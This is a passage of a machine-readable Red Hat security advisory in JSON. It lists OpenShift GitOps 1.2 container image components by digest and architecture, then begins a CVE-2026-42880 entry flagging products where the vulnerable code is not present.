          "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:6ca26d9abf4896f1dd209b1518c986d2940e0b1a9d21564020a555e1f135d12e_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b06d918cd673cb2a6511177e34d8150fbf37b0feefaa6e96675bcfda3dc5d573_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:b8b5a507013980e7750c4edbe3e07f4b16f4792ac904cfe6ecd6be036afb4192_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:1294587dd6ee8821ed7499fcc4c11b336ea6bda4bee6316caa24cbb15595d425_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:14579fb8c01043418b1180ff8c8341f18161544a2072151fa977c09f15151d22_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:6e4afba0bfbe3b6d727faa6a2dcb8dae618d6bf548052483909af5262704e1a5_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/argocd-rhel9@sha256:f393bbb1dba662e6387dbaacdcd0dc2bb4a8e486218273c66ec9f50e8bc360fb_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:007eadbc0e74cc6e603d0c1de0eef404ec7a0849355563bd94c0312396200789_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:4b1d0d11ef2352bd08ed140d6a0a57c41b087c4cec85089873349da2fa32fc7e_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:9af499c49ef9616512081baeaaae96d437639ce2aa348b2dacb9d803e913844e_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/console-plugin-rhel9@sha256:d126e9cb83898ac364bff9ee71fbf20fb16751f9e5fe6d237a41b0810ed5b70b_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:6d16d32879c21194a75fcbd2bd7a08c0dece7e876c8b5a490e589460c31772f1_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:b07da7bffb7e86461f16343dfb854d80242adb49ac9fd99c93c1b2cf0a157a4b_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:d0367c2f27364cb4f9f494cabc4c062bd1f550443299e3ab7c48e7a1f08730b3_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/dex-rhel9@sha256:f79e4f91fc209ed6de6f5983d422a64f540290d20f99016c49ecddaec9205596_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-operator-bundle@sha256:407b2310e342ddde5229624bac66ec364840c368f36e4831502a8ce4e45d972b_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:74abc86fa908da7f0214c8a6a9abfbb7cbbf403b4ef9c56326f36e6cc2d1bd6c_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e766b865245c39936e9cfd650dc187dd45903d866d931f5bf5fc7a24f3f7daa5_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:e7d38d8bf66e2fcfc124a0f0ba15b33fec21d23d3cefda2201aa4d0f2397fc18_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9-operator@sha256:fa1fcef68d6d858e6cd292da8bab5373405bf86e3fccfd8b14f2780f9a1eb978_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:0d97d01f6796597cdb0627d02c9f5836e74f2024d34acad3fef13e95b1aa9aa5_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:53b96010bc3ae866c47d15de5c7333d1480ecc3eb3bed8da8dc628cbe28b2da1_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:55399d2dd0fad6f63f05aa49e434847958391a863b2f607d8be6d7e781b8b7ec_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/gitops-rhel9@sha256:776f2333090bb5fca15fedef6ad8527cc719cc653392c7131c1c269cc00d2e41_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:5cd813be411ef842058232c84202cc4a20c1d578e88b3778f625da8cf522b321_s390x",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:97383379b6e5c6d0245a7a3568216cdee54c25a7e2509693c0382d8cc4505354_arm64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:caef68abcb44b186bcf69cd3557983b7da189bea125cf65bc92e74148eb5c444_ppc64le",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64 as a component of Red Hat OpenShift GitOps 1.2",
          "product_id": "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64"
        },
        "product_reference": "registry.redhat.io/openshift-gitops-1/must-gather-rhel9@sha256:df5d5ac6b2e66bb3500b7b0b4750336ba42c2154cf9ecd9ad22bafab89f19263_amd64",
        "relates_to_product_reference": "Red Hat OpenShift GitOps 1.2"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-42880",
      "cwe": {
        "id": "CWE-201",
        "name": "Insertion of Sensitive Information Into Sent Data"
      },
      "discovery_date": "2026-05-07T23:00:58.796407+00:00",
      "flags": [
        {
          "label": "vulnerable_code_not_present",
          "product_ids": [
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:1a7f35f6a4bce49d2068b3a1c876d05b5cbfd89bbd6ac19dc8f04f57494869ae_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:58bcb00e510f89d9f1ad42dc5d9f1154f98ac8a58cb1b2a0c387bfe4f7660710_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:7254d6fb620373192a144f0d7c5a3cd31c92baf130bbb2dc4a99be283488924c_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argo-rollouts-rhel9@sha256:8c0d04403c2d09ae0856fc71a77ec2115a98c72d472c000158acd45ece7c8778_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:0d4ad1f17e7255f4d162bc2965a636982f813afab6e012ce60d2fed7a61c6ac8_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:66c8d917f40f7392692198310bd126a9e92d6356b13d42242ce037e671b3398e_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:a70018a41022e1476a644fc4fd52b2889b763c96f23ed1f71b89956717494865_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-agent-rhel9@sha256:c9849fc3254f51f999e587e838c4a208eeaabe1bdac50a0924487fe248b7ced3_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:4da1b7b3189054bb621aa106298cc2bcf3d02cb91a36e5363a18dfd612252320_arm64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:5731b669139fe6fc7a6c56342b7ca2055b74b44d41fc59757b96ccbfe2f008d7_s390x",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:86b44929860d7967c829a4ceddc46cb3b312d89cea2bc615b55e2a2cc8fe32dc_ppc64le",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-extensions-rhel9@sha256:bcde82b5b8b78976b401454ad1ed6b58bb8adaf7f5cbe5264e589a6b477d6f53_amd64",
            "Red Hat OpenShift GitOps 1.2:registry.redhat.io/openshift-gitops-1/argocd-image-updater-rhel9@sha256:14e5938a315a67d3fda421c65a20b097ab159be4ad031b3035b948dc4515d558_arm64",
